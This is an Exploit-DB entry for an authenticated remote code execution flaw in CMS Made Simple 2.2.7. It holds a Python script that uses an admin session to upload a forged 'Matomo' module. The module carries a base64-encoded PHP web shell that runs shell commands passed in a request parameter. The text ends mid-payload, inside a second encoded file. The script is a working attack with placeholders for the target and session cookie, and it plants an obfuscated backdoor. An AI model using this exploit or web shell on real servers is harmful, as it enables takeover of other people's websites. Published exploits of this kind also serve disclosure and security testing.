Exploit-DB #45793
Description: CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution
Type: webapps
Platform: php
Date: 2018-11-06
Author: Lucian Ioan Nitescu

Exploit:
# Exploit Title: CMS Made Simple 2.2.7 - Remote Code Execution
# Date: 2018-11-04
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: 2.2.7
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-10517

# 1. Description: 
# An attacker or a malicious user with access to the administration interface can execute code on the server.

# 2. Proof of Concept:

import requests

# target configuration (required admin credentials in order to obtain a valid session)

target_url="<YOUR HTTP(S):// URL>"
session_cookie = "<YOUR SESSION COOKIE NAME>"
session_value = "<YOUR SESSION COOKIE VALUE>"

# upload of shell unde the name of Matomo plugin

burp0_url = target_url + "/admin/moduleinterface.php"

burp0_cookies = {session_cookie: session_value}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://gk1v1ml3nfrd1bs00o69fmwnh.public2.attackdefenselabs.com/", "Content-Type": "multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]263591267", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
burp0_data="----------------------------[PII_REDACTED][PII_REDACTED]263591267\r\nContent-Disposition: form-data; name=\"mact\"\r\n\r\nModuleManager,m1_,local_import,0\r\n----------------------------[PII_REDACTED][PII_REDACTED]263591267\r\nContent-Disposition: form-data; name=\"__c\"\r\n\r\n9a63802b6c4579cc01c\r\n----------------------------[PII_REDACTED][PII_REDACTED]263591267\r\nContent-Disposition: form-data; name=\"m1_upload\"; filename=\"test.xml\"\r\nContent-Type: text/xml\r\n\r\n<module>\n    <dtdversion>1.3</dtdversion>\n    <name>Matomo</name>\n    <version>0.0.1</version>\n    <mincmsversion>2.1.5</mincmsversion>\n    <help><![CDATA[LS0gTWlzc2luZyBMYW5ndWFnZXN0cmluZzogaGVscCAtLQ==]]></help>\n    <about><![CDATA[PGJyIC8+QXV0aG9yOiBleWVkZWUtbWVkaWEgJmx0O21vcnRlbkBwb3Vsc2VuLm9yZyZndDs8YnIgLz48YnIgLz5WZXJzaW9uOiAwLjAuMTxiciAvPjxiciAvPkNoYW5nZSBIaXN0b3J5OjxiciAvPi0tIE1pc3NpbmcgTGFuZ3VhZ2VzdHJpbmc6IGNoYW5nZWxvZyAtLTxiciAvPg==]]></about>\n    <description><![CDATA[-- Missing Languagestring: admindescription --]]></description>\n    <file>\n      <filename>/</filename>\n      <isdir>1</isdir>\n    </file>\n    <file>\n      <filename>/action.admin_settings.php</filename>\n      <isdir>0</isdir>\n      <data><![CDATA[PCEtLSBTaW1wbGUgUEhQIEJhY2tkb29yIEJ5IERLIChPbmUtTGluZXIgVmVyc2lvbikgLS0+DQo8IS0tIFVzYWdlOiBodHRwOi8vdGFyZ2V0LmNvbS9zaW1wbGUtYmFja2Rvb3IucGhwP2NtZD1jYXQrL2V0Yy9wYXNzd2QgLS0+DQo8P3BocCBpZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7IGVjaG8gIjxwcmU+IjsgJGNtZCA9ICgkX1JFUVVFU1RbJ2NtZCddKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pg==]]></data>\n    </file>\n    <file>\n      <filename>/action.admin_statistics.php</filename>\n      <isdir>0</isdir>\n      <data><![CDATA[PD9waHANCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjbXNtcyIpKSByZXR1cm47DQokYXBpdG9rZW4gPSR0aGlzLT5HZXRQcmVmZXJlbmNlKCJhcGl0b2tlbiIpOw0KJHNpdGVpZD0kdGhpcy0+R2V0UHJlZmVyZW5jZSgic2l0ZWlkIik7DQokbGFuZ3VhZ2U9JHRoaXMtPkdldFByZWZlcmVuY2UoImxhbmd1YWdlIiwiZW4iKTsNCg0KJGVtYmVkX2Rhc2hib2FyZCA9ICc8aWZyYW1lIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyIgc3JjPSInIC4gJHRoaXMtPkdldFByZWZlcmVuY2UoImJhc2V1cmwiKQ0KICAuICcvaW5kZXgucGhwP21vZHVsZT1XaWRnZXRpemUmYWN0aW9uPWlmcmFtZSZtb2R1bGVUb1dpZGdldGl6ZT1EYXNoYm9hcmQmYWN0aW9uVG9XaWRnZXRpemU9aW5kZXgmaWRTaXRlPScgLiAkc2l0ZWlkDQogIC4gJyZ0b2tlbl9hdXRoPScgLiAkYXBpdG9rZW4NCiAgLiAnJnBlcmlvZD1tb250aCcNCiAgLiAnJmRhdGU9dG9kYXknDQogIC4gJyZsYW5ndWFnZT0nLiRsYW5ndWFnZQ0KICAuICciIGZyYW1lYm9yZGVyPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIG1hcmdpbndpZHRoPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI4MDBweCcNCiAgLiAnIj48L2lmcmFtZT4nOw0KDQoNCmVjaG8gJGVtYmVkX2Rhc2hib2FyZDsNCg0KDQoNCi8qDQplY2hvICR0aGlzLT5TdGFydFRhYkhlYWRlcnMoKTsNCg0KZWNobyAkdGhpcy0+U2V0VGFiSGVhZGVyKCJiYXNlIiwiU2lkZXIiLCgkdGFiPT0icGFnZXMiKSk7DQplY2hvICR0aGlzLT5TZXRUYWJIZWFkZXIoInNla3Rpb25lciIsIlNla3Rpb25lciIsKCR0YWI9PSJzZWN0aW9ucyIpKTsNCi8vICBlY2hvICR0aGlzLT5TZXRUYWJIZWFkZXIoImluZHN0aWxsaW5nZXIiLCJJbmRzdGlsbGluZ2VyIiwoJHRhYj09InNldHRpbmdzIikpOw0KZWNobyAkdGhpcy0+RW5kVGFiSGVhZGVycygpOw0KDQplY2hvICR0aGlzLT5TdGFydFRhYkNvbnRlbnQoKTsNCmVjaG8gJHRoaXMtPlN0YXJ0VGFiKCJzaWRlciIpOw0KDQplY2hvICR0aGlzLT5FbmRUYWIoKTsNCg0KZWNobyAkdGhpcy0+U3RhcnRUYWIoInNla3Rpb25lciIpOw0KDQplY2hvICR0aGlzLT5FbmRUYWIoKTsNCg0KLyoNCmVjaG8gJHRoaXMtPlN0YXJ0VGFiKCJ1cGxvYWQiKTsNCiAgaW5jbHVkZV9vbmNlKGRpcm5hbWUoX19maWxlX18pLiIvdGFiLmluZHN0aWxsaW5nZXIucGhwIik7DQogIGVjaG8gJHRoaXMtPkVuZFRhYigpOw0KKi8NCi8vZWNobyAkdGhpcy0+RW5kVGFiQ29udGVudCgpOw0KDQoNCg0KLyoNCiRhcGl0b2tlbiA9JHRoaXMtPkdldFByZWZlcmVuY2UoImFwaXRva2VuIik7DQokc2l0ZWlkPSR0aGlzLT5HZXRQcmVmZXJlbmNlKCJzaXRlaWQiKTsNCg0KLy8gd2UgY2FsbCB0aGUgUkVTVCBBUEkgYW5kIHJlcXVlc3QgdGhlIDEwMCBmaXJzdCBrZXl3b3JkcyBmb3IgdGhlIGxhc3QgbW9udGggZm9yIHRoZSBpZHNpdGU9Nw0KJHVybCA9ICR0aGlzLT5HZXRQcmVmZXJlbmNlKCJiYXNldXJsIik7DQokdXJsIC49ICI/bW9kdWxlPUFQSSZtZXRob2Q9UmVmZXJyZXJzLmdldEtleXdvcmRzIjsNCiR1cmwgLj0gIiZpZFNpdGU9JHNpdGVpZCZwZXJpb2Q9bW9udGgmZGF0ZT15ZXN0ZXJkYXkiOw0KJHVybCAuPSAiJmZvcm1hdD1QSFAmZmlsdGVyX2xpbWl0PTIwIjsNCiR1cmwgLj0gIiZ0b2tlbl9hdXRoPSRhcGl0b2tlbiI7DQoNCiRmZXRjaGVkID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQovL2VjaG8gJGZldGNoZWQ7cmV0dXJuOw0KJGNvbnRlbnQgPSB1bnNlcmlhbGl6ZSgkZmV0Y2hlZCk7DQovL3ByaW50X3IoJGNvbnRlbnQpO3JldHVybjsNCg0KLy8gY2FzZSBlcnJvcg0KaWYgKCEkY29udGVudCkgew0KICBwcmludCgiRXJyb3IgcGFyc2luZyBkYXRhLCBjb250ZW50IGZldGNoZWQgPSAiIC4gJGZldGNoZWQpOw0KICByZXR1cm47DQp9DQoNCmlmICgkY29udGVudFsicmVzdWx0Il09PSJlcnJvciIpIHsNCiAgcHJpbnQoIkVycm9yLCBtZXNzYWdlID0gIiAuICRjb250ZW50WyJtZXNzYWdlIl0pOw0KICByZXR1cm47DQp9DQoNCnByaW50KCI8aDE+S2V5d29yZHMgZm9yIHRoZSBsYXN0IG1vbnRoPC9oMT5cbiIpOw0KZm9yZWFjaCAoJGNvbnRlbnQgYXMgJHJvdykgew0KICAka2V5d29yZCA9IGh0bWxzcGVjaWFsY2hhcnMoaHRtbF9lbnRpdHlfZGVjb2RlKHVybGRlY29kZSgkc